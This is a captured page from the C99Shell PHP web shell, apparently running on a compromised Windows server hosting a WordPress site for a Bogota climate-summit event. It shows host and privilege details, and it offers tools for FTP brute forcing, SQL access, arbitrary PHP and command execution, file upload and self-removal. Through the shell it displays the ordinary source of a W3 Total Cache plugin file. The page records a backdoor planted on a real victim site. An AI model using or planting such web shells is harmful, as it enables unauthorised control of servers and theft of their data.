!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\bogotacumbredelclima\wp-content\plugins\w3-total-cache\lib\W3\AdminActions\   drwxrwxrwx
Free 1.04 GB of 239.26 GB (0.43%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ActionHandler.php (2.2 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class W3_AdminActions_ActionHandler {
    private 
$_default null;
    private 
$_handlers = array('flush''cdn''support''config''new_relic''test''licensing''aws''edge_mode''extensions''default');
    private 
$_page;
    public function 
__construct($default_handler null) {
        
$this->_default $default_handler;
    }

    public function 
set_default($default_handler) {
        
$this->_default $default_handler;
    }

    public function 
set_current_page($page) {
        
$this->_page $page;
    }

    public function 
execute($action) {
        
$handler $this->_get_handler($action);
        
$this->_execute($handler$action);
    }

    public function 
exists($action) {
        if (
$this->_default)
            if (
method_exists($this->_default$action))
                return 
true;
        
$handler =  $this->_get_handler($action);
        return 
$handler != '';
    }

    private function 
_get_handler($action) {
        foreach(
$this->_handlers as $handler) {
            if (
strpos($action"action_$handler") !== false || strpos($action"action_save_$handler") !== false)
                return 
$handler;
        }
        if (
$action == 'action_save_options')
            return 
'default';

        return 
'';
    }

    private function 
_execute($handler$action) {
        if (
strpos($action'action_') === false)
            throw new 
Exception(sprintf(__('%s is not an correct action.'), $action));
        if (
$handler == '') {
            if (
method_exists($this->_default$action)) {
                
call_user_func(array($this->_default$action));
                return;
            }
        } else {
            
$handler ucfirst($handler);
            
$handler_w explode('_'$handler);
            
$handler '';
            foreach(
$handler_w as $w)
                
$handler .= ucfirst($w);
            
$handler_class "W3_AdminActions_{$handler}ActionsAdmin";
            
$handler_object w3_instance($handler_class);
            if (
method_exists($handler_object$action)) {
                
$handler_object->$action();
                return;
            }
        }
        throw new 
Exception(sprintf(__('action %s does not exist for %s'), $action$handler));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0936 ]--